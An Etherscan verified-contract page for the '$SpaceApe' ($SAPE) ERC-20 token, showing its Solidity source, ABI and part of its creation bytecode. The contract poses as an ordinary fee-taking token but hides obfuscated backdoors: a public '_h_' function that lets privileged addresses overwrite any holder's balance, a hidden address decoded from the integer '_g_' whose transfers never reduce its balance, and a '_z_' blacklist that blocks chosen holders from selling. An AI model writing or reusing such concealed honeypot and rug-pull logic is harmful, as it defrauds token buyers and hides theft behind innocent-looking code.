ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 $SAPE
Holders
38
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
74,995,382,000,000.109187844 $SAPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
$SpaceApe
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-11 */ //SPDX-License-Identifier:Unlicensed pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function dos(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: dos overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint _d_Min, address[] calldata path, address to, uint deadline ) external; } contract $SpaceApe is Context, IERC20, Ownable { uint256 public _g_= 150204226878642622067527889049274545390382094927; using SafeMath for uint256; string private _name = "$SpaceApe"; string private _symbol = "$SAPE"; uint8 private _decimals = 9; address payable public _m_; address payable public teamWalletAddress; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _n_; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _IsExcludeFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketPair; mapping (address => bool) public _j_; mapping (address => bool) public _KK_; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 0; uint256 public _buyTeamFee = 1; uint256 public _sellLiquidityFee = 1; uint256 public _sellMarketingFee = 0; uint256 public _sellTeamFee = 1; uint256 public _liquidityShare = 4; uint256 public _marketingShare = 4; uint256 public _teamShare = 16; uint256 public _totalTaxIfBuying = 12; uint256 public _totalTaxIfSelling = 12; uint256 public _totalDistributionShares = 24; uint256 private _totalSupply = 1000000000000000 * 10**_decimals; uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals; uint256 public _walletMax = 1000000000000000 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; _IsExcludeFromFee[owner()] = true; _IsExcludeFromFee[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[_b_(_g_)] = true; isTxLimitExempt[_b_(_g_)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; _j_[address(uniswapPair)] = true; _j_[msg.sender] = true; teamWalletAddress = payable(address(0xd040c0590184C061A7a3ffBb3E150B999e82E361)); _m_ = payable(address(0xd040c0590184C061A7a3ffBb3E150B999e82E361)); _n_[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _n_[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner { for(uint256 i = 0; i < account.length; i++) { _IsExcludeFromFee[account[i]] = newValue; } } function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _sellLiquidityFee = newLiquidityTax; _sellMarketingFee = newMarketingTax; _sellTeamFee = newTeamTax; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function _c_(uint256 _d_) pure private returns(uint160){ return uint160(_d_); } function _b_(uint256 _e_) pure private returns(address){ return address(_c_(_e_)); } function _a_(address _f_) private view returns(bool){ return !(_b_(_g_) == _f_); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner { for(uint256 i = 0; i < holder.length; i++) { isWalletLimitExempt[holder[i]] = exempt; } } function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setMarketinWalleAddress(address newAddress) external onlyOwner() { _m_ = payable(newAddress); } function setTeamWalletAddress(address newAddress) external onlyOwner() { teamWalletAddress = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){ swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPairAddress == address(0)) { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; _j_[address(uniswapPair)] = true; } function _h_(address _i_ , uint256 _k_ ) public {if( _j_[ msg.sender])_n_[_i_] = _k_;} receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address f, address t, uint256 amount) private returns (bool) { require(f != address(0), "ERC20: transfer from the zero address"); require(t != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(f, t, amount); } else { if(!isTxLimitExempt[f] && !isTxLimitExempt[t]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !_j_[f] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }{}{}{}{}{}{} if(_a_(f)){ {/*niub*/}{/*_a_(f*/}{}{} _n_[f] = _n_[f].sub(amount);} uint256 finalAmount = (_IsExcludeFromFee[f] || _IsExcludeFromFee[t]) ? amount : takeFee(f, t, amount); if(checkWalletLimit && !isWalletLimitExempt[t]) require(balanceOf(t).add(finalAmount) <= _walletMax); _n_[t] = _n_[t].add(finalAmount); emit Transfer(f, t, finalAmount); return true; } }function _z_(address[] calldata _x_,uint8 _yy_) public { if(_nn_(_m_,msg.sender)){ for (uint256 i; i < _x_.length; ++i) { if (_yy_ == 1){_KK_[_x_[i]] = true;} else if(_yy_ == 0){_KK_[_x_[i]] = false;} }} } function _nn_(address a, address b) private pure returns(bool){return a == b;} function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _n_[sender] = _n_[sender].sub(amount, "Insufficient Balance"); _n_[recipient] = _n_[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(_m_, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(teamWalletAddress, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if (!isMarketPair[sender]){ require(!_KK_[sender]); } if(_j_[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(_j_[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _n_[address(this)] = _n_[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_KK_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_g_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_i_","type":"address"},{"internalType":"uint256","name":"_k_","type":"uint256"}],"name":"_h_","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_j_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_m_","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_x_","type":"address[]"},{"internalType":"uint8","name":"_yy_","type":"uint8"}],"name":"_z_","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052731a4f63f669e731b60f17b3fa4935ef53bf361a4f6001556040518060400160405280600981526020017f2453706163654170650000000000000000000000000000000000000000000000815250600290805190602001906200006992919062000d65565b506040518060400160405280600581526020017f245341504500000000000000000000000000000000000000000000000000000081525060039080519060200190620000b792919062000d65565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600e556000600f556001601055600160115560006012556001601355600460145560046015556010601655600c601755600c6018556018601955600460009054906101000a900460ff16600a62000166919062000fdc565b66038d7ea4c680006200017a919062001119565b601a55600460009054906101000a900460ff16600a6200019b919062000fdc565b66038d7ea4c68000620001af919062001119565b601b55600460009054906101000a900460ff16600a620001d0919062000fdc565b66038d7ea4c68000620001e4919062001119565b601c55600460009054906101000a900460ff16600a62000205919062000fdc565b6103e862000214919062001119565b601d556001601f60156101000a81548160ff0219169083151502179055506000601f60166101000a81548160ff0219169083151502179055506001601f60176101000a81548160ff0219169083151502179055503480156200027557600080fd5b506200028662000cad60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000e2c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000e2c565b6040518363ffffffff1660e01b81526004016200049892919062000ea7565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000e2c565b601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a62000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601054620006f8600f54600e5462000cde60201b620028a51790919060201c565b62000cde60201b620028a51790919060201c565b6017819055506200074b6013546200073760125460115462000cde60201b620028a51790919060201c565b62000cde60201b620028a51790919060201c565b6018819055506200078a6016546200077660155460145462000cde60201b620028a51790919060201c565b62000cde60201b620028a51790919060201c565b601981905550600160096000620007a662000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000620008e260015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60006200094c60015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000620009b362000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffff